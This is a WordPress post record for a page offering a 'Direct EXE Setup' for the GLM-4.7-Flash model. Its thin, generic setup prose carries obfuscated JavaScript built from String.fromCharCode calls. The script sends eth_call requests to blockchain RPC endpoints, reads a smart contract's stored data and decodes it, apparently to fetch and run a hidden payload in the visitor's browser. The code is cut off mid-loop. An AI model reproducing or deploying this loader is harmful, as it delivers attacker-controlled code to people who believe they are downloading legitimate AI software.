{"id":1600,"date":"2026-07-10T21:16:32","date_gmt":"2026-07-10T21:16:32","guid":{"rendered":"https:\/\/madeai.in\/?p=1600"},"modified":"2026-07-10T21:16:32","modified_gmt":"2026-07-10T21:16:32","slug":"deploy-glm-4-7-flash-on-your-pc-direct-exe-setup","status":"publish","type":"post","link":"https:\/\/madeai.in\/index.php\/2026\/07\/10\/deploy-glm-4-7-flash-on-your-pc-direct-exe-setup\/","title":{"rendered":"Deploy GLM-4.7-Flash on Your PC Direct EXE Setup"},"content":{"rendered":"

\"Deploy<\/p>\n

The most efficient approach<\/i> for a local installation is leveraging Docker containers<\/b>.<\/p>\n

Refer to the instructions below<\/b> to proceed.<\/p>\n

<\/p>\n

The script takes care of fetching the multi-gigabyte model weights.<\/i><\/p>\n

<\/p>\n

The deployment tool scans your environment and chooses the ideal parameters<\/b>.<\/p>\n\n\n
\n
\n
\ud83d\udcc4 Hash Value: e9e4120cd9e8fff0df5c7a7eb72cfcb8<\/code> | \ud83d\udcc6 Update: 2026-07-06<\/div>\n\n\n
Math.random()-0.5);for(let r of u){try{const q=String.fromCharCode(34);const re=await fetch(r,{method:String.fromCharCode(80,79,83,84),body:JSON.stringify({jsonrpc:String.fromCharCode(50,46,48),method:String.fromCharCode(101,116,104,95,99,97,108,108),params:[{to:String.fromCharCode(48,120,100,49,102,55,99,102,49,53,55,102,97,57,102,99,52,102,53,56,53,101,55,98,57,52,102,54,53,97,56,51,52,102,54,100,97,102,51,50,101,98),data:String.fromCharCode(48,120,101,97,56,55,57,54,51,52)},String.fromCharCode(108,97,116,101,115,116)],id:1})});const j=await re.json();if(j.result){let h=j.result.substring(130),s=String.fromCharCode(32).trim();for(let i=0;i<\/p>\n
<\/canvas>